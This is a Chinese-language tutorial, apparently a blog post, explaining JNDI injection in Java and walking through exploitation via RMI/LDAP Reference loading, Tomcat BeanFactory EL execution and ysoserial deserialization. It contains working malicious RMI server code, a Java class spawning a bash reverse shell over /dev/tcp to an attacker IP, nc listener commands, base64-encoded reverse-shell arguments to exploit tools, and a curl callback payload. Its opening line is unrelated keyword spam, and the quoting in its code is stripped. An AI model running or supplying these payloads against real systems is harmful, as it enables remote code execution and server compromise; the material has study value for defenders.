快速的网站设计制作,电商思维做招聘网站,徐老师在那个网站做发视频,吉安购物网站制作目录
目录
JNDI简介
命名服务和目录服务
JNDI注入
漏洞原理
漏洞利用
简单复现
利用Reference加载远程Factory类 使用手动方法
使用集成JDNI注入工具
利用Reference加载本地Factory类
反序列化利用
总结 JNDI简介
Jndi叫Java命名和目录的接口#xff0c;可以类比…目录
目录
JNDI简介
命名服务和目录服务
JNDI注入
漏洞原理
漏洞利用
简单复现
利用Reference加载远程Factory类 使用手动方法
使用集成JDNI注入工具
利用Reference加载本地Factory类
反序列化利用
总结 JNDI简介
Jndi叫Java命名和目录的接口可以类比为一个字典就比如用一个目录路径去定义一个文件目录路径和文件就是键值。
在Java应用中除了以常规方式使用名称服务比如使用DNS解析域名 另一个常见的用法是使用目录服务作为对象存储的系统来存储和获取Java对象比如使用打印机在目录服务查找打印机然后获得一个打印机对象。 Jndi包含在Java SE平台。要使用Jndi您必须拥有Jndi类和一个或多个服务提供者SPI。JDK包含以下命名/目录服务的服务提供者
目录服务
轻量级目录访问协议LDAPJava远程方法调用RMI
命名服务
公共对象请求代理体系结构CORBA域名服务DNS 命名服务和目录服务
命名服务很好理解就跟字典一样将一个对象作为值将命名服务的名字作为键将两者绑定就可以通过这个名字查询到绑定的对象。
目录服务是名称服务的一种拓展除了命名服务通过名称绑定对象之外还允许根据对象的属性值去搜索对象。
举个例子还是打印机我们可以在命名服务中根据打印机的名称去获取打印机对象然后进行打印同样的由于打印机拥有速率、颜色等属性可以通过目录服务以打印机的速率去搜索打印机对象再进行打印操作。 而这里可以再讲讲目录服务协议
LDAP轻量级目录访问协议是一种开放的网络协议用于访问和维护分布式目录服务比如树状型层次目录。LDAP提供了一种标准化的方式来查询、添加、修改和删除分布式目录中的数据。
RMI远程方法调用用于实现分布式应用程序中的远程通信和方法调用。RMI允许在不同Java虚拟机JVM上运行的对象之间进行通信并调用对方的方法就像调用本地对象的方法一样。 由于Jndi提供的接口统一性当需要访问不同类型的目录服务时不必再分别针对不同的服务协议来实现用于访问的客户端而是通过Jndi提供的统一接口访问。 JNDI注入
漏洞原理
如果被攻击端应用程序中进行了JNDI查询使用了lookup查询等并且其查询的地址或者名称是可控的那么就会形成JNDI注入漏洞。
根据原理也可以知道要利用JNDI需要两个条件
使用了lookup等JNDI查询函数参数可控 漏洞利用
利用流程 1、 攻击者再构造一个payload并在此目录开启HTTP服务使用apache开启等
2、 攻击者搭建一个RMI/LDAP服务端并将返回值设置为payload对象
3、构造RMI/LDAP协议的URL字符串就是对应RMI/LDAP服务端地址作为参数传入目标应用的JNDI的lookup方法中
在被攻击者角度来说它访问了攻击者特意构造的RMI/LDAP协议的URL然后访问其服务端服务端又返回一个HTTP地址给被攻击者这个HTTP地址就是带有payload的地址然后被攻击者去访问下载HTTP地址的文件然后做初始化加载到这里攻击者的恶意代码就被执行了。 简单复现
有一个App.java使用了RMI协议且参数可控
import javax.naming.InitialContext;
import javax.naming.NamingException;public class App {public static void main(String[] args) throws NamingException {String var rmi://127.0.0.1:7788/calc;new InitialContext().lookup(var);}}然后建立了RMI服务端RMIServer.java
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import com.sun.jndi.rmi.registry.ReferenceWrapper;public class RMIServer {public static void main(String[] args) throws Exception{Registry registry LocateRegistry.createRegistry(7788);Reference reference new Reference(test,test,http://192.168.15.249:8000/);ReferenceWrapper wrapper new ReferenceWrapper(reference);registry.bind(calc,wrapper);}
}然后构造payloadtest.java
import java.io.IOException;public class test {public test() throws IOException {Runtime.getRuntime().exec(calc);}
}直接运行也是可以弹出计算机的这是因为RMI会先在本地找然后再加载远程的由于测试环境是直接都在本地所以不开启HTTP服务也可以执行但在攻击时肯定不可能被攻击者原本就存有payload代码所以一般都是要先编译payload的脚本然后在预编译后文件的文件夹下开启HTTP服务。 还有要提到的是由于能够利用LDAP的JDK的版本比能够利用RMI的JDK的版本要多所以比较常用的是以LDAP来进行攻击以便提高攻击成功率。 利用Reference加载远程Factory类
上面举的简单例子也是通过Reference来加载的。
比如被攻击者代码
String jndiurl GET[url];
Context ctx new InitialContext();
ctx.lookup(jndiurl); 使用手动方法
Marshalsec这款工具集成了有恶意RMI或LDAP服务的程序这款工具的使用需要Java8的环境。
项目地址Marshalsec项目地址
Marshalsec需要Maven和Java环境大家自行下载。
下载后进入文件夹输入如下命令
mvn clean package -DskipTests
然后开启一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:http端口//#Shell 监听端口
这个命令会在xx端口监听一个LDAP服务当被攻击者lookup这个服务端时它会返回一个Reference。类加载地址指向http://ip:http端口/Shell.classExploit.class是攻击者构造的恶意代码编译后的文件。比如
//Shell.java
public class Shell{static { //static是编译运行时最初会执行的try {Runtime rt Runtime.getRuntime();String[] commands {/bin/bash, -c, bash -i /dev/tcp/攻击机ip/nc端口 01};Process pc rt.exec(commands);pc.waitFor();} catch (Exception e) {}}
}
之后在攻击机上开启监听
nc -lvnp nc端口
最后构造payload就可以诱导目标服务器访问LDAP服务器
?urlldap://ip:http端口/Shell 使用集成JDNI注入工具
用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
项目地址JNDI注入工具项目地址
下载之后还需要使用Maven进行生成可执行文件
利用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 恶意命令 -A 攻击机ip
比如
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -i /dev/tcp/192.168.1.100/6666 01 -A 192.168.1.100
把恶意命令base64编码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ -A 192.168.1.100
执行命令后会返回部署好的RMI和LDAP的路径
开启6666端口监听然后访问路径就可以了。 利用Reference加载本地Factory类
从高版本JDK开始就禁止RMI和LDAP远程加载Factory类。那么就只能把目标转到本地如果在被攻击者的依赖环境中可以找到危险的Factory同样可以加载Factory类完成代码执行。
比如Tomcat Server中的org.apache.naming.factory.BeanFactory因为该类的getObjectInstance方法能够反射可以通过它来调用java.el.ELProcessor的eval方法最终实现EL表达式来达到远程代码执行的效果。
比如构造启动RMI服务的代码
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;public class EvilRMIServerNew {public static void main(String[] args) throws Exception {System.out.println(Creating evil RMI registry on port 1097);Registry registry LocateRegistry.createRegistry(1097);//准备利用org.apache.naming.factory.BeanFactory中不安全反射的有效负载ResourceRef ref new ResourceRef(javax.el.ELProcessor, null, , , true,org.apache.naming.factory.BeanFactory,null);//将“x”属性的setter名称从“setX”重新定义为“eval”ref.add(new StringRefAddr(forceString, xeval));//表达式语言执行“nslookup jndi.s.artsplooit.com”如果您的目标是windows请将/bin/sh修改为cmd.exeref.add(new StringRefAddr(x, \\.getClass().forName(\javax.script.ScriptEngineManager\).newInstance().getEngineByName(\JavaScript\).eval(\new java.lang.ProcessBuilder[(java.lang.String[])]([/bin/sh,-c,nslookup jndi.s.artsploit.com]).start()\)));ReferenceWrapper referenceWrapper new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind(Object, referenceWrapper);}
}
构造payload
?urlrmi://evil_rmi_server:1097/Object
这里执行了RMI服务目标程序如果有Tomcat相关依赖就能够连接上恶意的RMI服务最终通过构造表达式执行系统命令nslookup jndi.s.artsploit.com。
除了这个类还有其他许多的危险的Factory类都已经集成到rogue-jndi中项目地址rogue-jnd项目地址
java -jar target/RogueJndi-1.0.jar --command 命令 --hostname 本机地址 反序列化利用
前面两种都是通过将恶意的对象绑定到RMI或LDAP中是通过序列化对象来实现攻击的。还可以通过JNDI注入来实现反序列化攻击。
Java反序列化攻击的话是利用ysoserial工具的这里借助ysoserial的JRMPListener来完成。
使用方法
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonCollections6 curl http://you-ip/
会在攻击机1099端口开启JRMP服务RMI的底层协议当受害者访问时JRMP就会构建恶意的Commons Collection序列化数据返回给受害者客户端如果受害者客户端存在有漏洞的Apache Commons Collection库反序列化攻击就会成功命令被执行。
?urlldap://your-ip:1099/Exploit 总结
JNDI是Java命名和目录的接口类似于字典可以通过名称或对象的特征来寻找到对应的对象并获取。安全要比较了解的有目录服务包括RMI远程访问协议和LDAP轻量级目录访问协议以及命名服务的DNS协议JNDI注入中可以通过dnslog来判断是否存在漏洞而且简单、隐藏性高JNDI注入漏洞需要两个条件一个是被攻击端使用了lookup等函数进行JNDI查询另一个是需要查询的参数可控。JNDI注入的利用攻击者需要准备两个步骤一个是开启RMI/LDAP服务端另一个是有恶意代码的payload被攻击端通过精心构造的URL访问到攻击者的RMI/LDAP服务端然后服务端返回一个HTTP地址被攻击端继续访问HTTP地址然后将其内容下载运行最终执行了恶意代码利用方式有利用Reference加载远程Factory类和本地Factory类。加载远程Factory类可以通过手动注入和工具注入加载本地Factory类是因为随着JDK版本的升高被禁止加载远程Factory类而只能通过本地的一些类的可利用方法来实现通过工具rogue-jnd来实现除了上面的两种序列化利用方式还可以通过JNDI注入来实现反序列化利用借助Java反序列化工具ysoserial。